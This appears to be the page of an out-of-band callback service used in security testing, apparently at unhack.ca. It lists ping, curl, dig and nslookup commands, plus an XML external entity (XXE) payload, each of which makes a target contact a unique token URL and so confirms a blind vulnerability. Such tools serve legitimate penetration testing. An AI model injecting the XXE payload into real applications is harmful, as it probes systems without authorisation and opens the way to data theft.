$ ping -c1 -p 00d26c868dd8e3dd8397d01acca6ad00 unhack.ca
 
$ curl http://unhack.ca/p/d26c868dd8e3dd8397d01acca6ad
 
$ dig d26c868dd8e3dd8397d01acca6ad @unhack.ca
 
$ dig d26c868dd8e3dd8397d01acca6ad.ns.unhack.ca
 
C:\> nslookup d26c868dd8e3dd8397d01acca6ad unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d26c868dd8e3dd8397d01acca6ad">]>
    <foo>&xxe;</foo>
Waiting for ping...